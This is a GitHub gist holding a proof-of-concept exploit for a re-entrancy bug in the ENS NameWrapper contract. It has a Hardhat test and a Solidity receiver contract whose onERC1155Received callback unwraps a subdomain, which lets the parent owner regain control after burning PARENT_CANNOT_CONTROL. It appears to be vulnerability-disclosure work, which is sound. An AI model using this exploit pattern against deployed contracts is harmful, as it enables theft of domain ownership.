Skip to content

Instantly share code, notes, and snippets.

@panprog
Created July 18, 2022 15:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save panprog/3cd94e3fbb0c52410a4c6609e55b863e to your computer and use it in GitHub Desktop.
Save panprog/3cd94e3fbb0c52410a4c6609e55b863e to your computer and use it in GitHub Desktop.
ENS NameWrapper re-entrancy bug PoC
const packet = require('dns-packet')
const fs = require('fs')
const { ethers } = require('hardhat')
const { utils, BigNumber: BN } = ethers
const { use, expect } = require('chai')
const { solidity } = require('ethereum-waffle')
const n = require('eth-ens-namehash')
const namehash = n.hash
const { shouldBehaveLikeERC1155 } = require('./ERC1155.behaviour')
const { shouldSupportInterfaces } = require('./SupportsInterface.behaviour')
const { ZERO_ADDRESS } = require('@openzeppelin/test-helpers/src/constants')
const { deploy } = require('../test-utils/contracts')
const { keccak256 } = require('ethers/lib/utils')
const { encode } = require('punycode')
const TestNameWrapperReentracy = artifacts.require("TestNameWrapperReentrancy");
const abiCoder = new ethers.utils.AbiCoder()
use(solidity)
const labelhash = (label) => utils.keccak256(utils.toUtf8Bytes(label))
const ROOT_NODE =
'0x0000000000000000000000000000000000000000000000000000000000000000'
const EMPTY_BYTES32 =
'0x0000000000000000000000000000000000000000000000000000000000000000'
const EMPTY_ADDRESS = '0x0000000000000000000000000000000000000000'
const DUMMY_ADDRESS = '0x0000000000000000000000000000000000000001'
function increaseTime(delay) {
return ethers.provider.send('evm_increaseTime', [delay])
}
function mine() {
return ethers.provider.send('evm_mine')
}
function encodeName(name) {
return '0x' + packet.name.encode(name).toString('hex')
}
const CANNOT_UNWRAP = 1
const CANNOT_BURN_FUSES = 2
const CANNOT_TRANSFER = 4
const CANNOT_SET_RESOLVER = 8
const CANNOT_SET_TTL = 16
const CANNOT_CREATE_SUBDOMAIN = 32
const PARENT_CANNOT_CONTROL = 64
const CAN_DO_EVERYTHING = 0
//Enum for vulnerabilities
const ParentVulnerability = {
Safe: 0,
Registrant: 1,
Controller: 2,
Fuses: 3,
Expired: 4,
}
describe('Name Wrapper', () => {
let ENSRegistry
let ENSRegistry2
let BaseRegistrar
let BaseRegistrar2
let NameWrapper
let NameWrapper2
let NameWrapperUpgraded
let MetaDataservice
let signers
let accounts
let account
let account2
let result
let MAX_EXPIRY = 2n ** 64n - 1n
/* Utility funcs */
async function registerSetupAndWrapName(label, account, fuses, expiry = 0) {
const tokenId = labelhash(label)
await BaseRegistrar.register(tokenId, account, 84600)
await BaseRegistrar.setApprovalForAll(NameWrapper.address, true)
await NameWrapper.wrapETH2LD(label, account, fuses, expiry, EMPTY_ADDRESS)
}
before(async () => {
signers = await ethers.getSigners()
account = await signers[0].getAddress()
account2 = await signers[1].getAddress()
EnsRegistry = await deploy('ENSRegistry')
EnsRegistry2 = EnsRegistry.connect(signers[1])
BaseRegistrar = await deploy(
'BaseRegistrarImplementation',
EnsRegistry.address,
namehash('eth')
)
BaseRegistrar2 = BaseRegistrar.connect(signers[1])
await BaseRegistrar.addController(account)
await BaseRegistrar.addController(account2)
MetaDataservice = await deploy(
'StaticMetadataService',
'https://ens.domains'
)
NameWrapper = await deploy(
'NameWrapper',
EnsRegistry.address,
BaseRegistrar.address,
MetaDataservice.address
)
NameWrapper2 = NameWrapper.connect(signers[1])
NameWrapperUpgraded = await deploy(
'UpgradedNameWrapperMock',
NameWrapper.address,
EnsRegistry.address,
BaseRegistrar.address
)
// setup .eth
await EnsRegistry.setSubnodeOwner(
ROOT_NODE,
labelhash('eth'),
BaseRegistrar.address
)
// setup .xyz
await EnsRegistry.setSubnodeOwner(ROOT_NODE, labelhash('xyz'), account)
//make sure base registrar is owner of eth TLD
expect(await EnsRegistry.owner(namehash('eth'))).to.equal(
BaseRegistrar.address
)
})
beforeEach(async () => {
result = await ethers.provider.send('evm_snapshot')
})
afterEach(async () => {
await ethers.provider.send('evm_revert', [result])
})
describe('Reentrancy', () => {
it('Registers subdomain and wraps, changes subdomain owner, new owner onERC1155Received unwraps subdomain, upon return he owns both domain and ERC1155 token', async () => {
await BaseRegistrar.setApprovalForAll(NameWrapper.address, true)
await EnsRegistry.setApprovalForAll(NameWrapper.address, true)
await BaseRegistrar.register(labelhash('test'), account, 84600)
await NameWrapper.wrapETH2LD(
'test',
account,
CAN_DO_EVERYTHING,
MAX_EXPIRY,
EMPTY_ADDRESS
)
const testReentrancy = await deploy('TestNameWrapperReentrancy', account, NameWrapper.address, namehash('test.eth'), labelhash('sub'))
await NameWrapper.setApprovalForAll(testReentrancy.address, true)
// set self as sub.test.eth owner
await NameWrapper.setSubnodeOwner(namehash('test.eth'), 'sub', account, CAN_DO_EVERYTHING, MAX_EXPIRY)
// move owner to testReentrancy, which unwraps domain itself to account while keeping ERC1155 to testReentrancy
await NameWrapper.setSubnodeOwner(namehash('test.eth'), 'sub', testReentrancy.address, CAN_DO_EVERYTHING, MAX_EXPIRY)
// send ERC1155 back to owner
await testReentrancy.claimToOwner()
// now sub.test.eth is owned by account (NOT NameWrapper)
// but it also owns ERC1155 sub.test.eth token (which can't really control the subdomain)
expect(await EnsRegistry.owner(namehash('sub.test.eth'))).to.equal(account)
expect(await NameWrapper.ownerOf(namehash('sub.test.eth'))).to.equal(account)
// now we can do all kinds of malicious stuff
// for example, we send ERC1155 to account2, and burn PARENT_CANNOT_CONTROL
// (we can then show that transactions to burn CANNOT_UNWRAP fails)
// after that we can easily re-wrap the domain replacing the PARENT_CANNOT_CONTROL and changing ownership to account
await NameWrapper.safeTransferFrom(account, account2, namehash('sub.test.eth'), 1, '0x')
await NameWrapper.setChildFuses(namehash('test.eth'), labelhash('sub'), PARENT_CANNOT_CONTROL, MAX_EXPIRY)
expect(await NameWrapper.ownerOf(namehash('sub.test.eth'))).to.equal(account2)
// at this point account2 expects to have full control over the subdomain and that account can't regain control
// prove that account burnt the control by trying to set more fuses (which reverts)
await expect(NameWrapper.setChildFuses(namehash('test.eth'), labelhash('sub'), PARENT_CANNOT_CONTROL | CANNOT_UNWRAP, MAX_EXPIRY))
.to.be.reverted
// after proving that, now re-wrap the domain to replace old fuses with new ones and regain ownership of subdomain
await NameWrapper.wrap(encodeName('sub.test.eth'), account, EMPTY_ADDRESS)
// account should be unable to change ownership of subdomain to itself after burning PARENT_CANNOT_CONTROL,
// but it did change ownership (account2 expect to still be the owner, but the owner is now account)
expect(await NameWrapper.ownerOf(namehash('sub.test.eth'))).to.equal(account2)
})
})
})
pragma solidity ^0.8.4;
import "../../contracts/wrapper/INameWrapper.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
contract TestNameWrapperReentrancy is ERC165, IERC1155Receiver
{
INameWrapper nameWrapper;
address owner;
bytes32 parentNode;
bytes32 labelHash;
uint256 tokenId;
constructor(
address _owner,
INameWrapper _nameWrapper,
bytes32 _parentNode,
bytes32 _labelHash
) {
owner = _owner;
nameWrapper = _nameWrapper;
parentNode = _parentNode;
labelHash = _labelHash;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);
}
function onERC1155Received(
address _operator,
address _from,
uint256 _id,
uint256 _value,
bytes calldata _data
) public override returns (bytes4) {
tokenId = _id;
nameWrapper.unwrap(parentNode, labelHash, owner);
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function claimToOwner() public {
nameWrapper.safeTransferFrom(address(this), owner, tokenId, 1, "");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment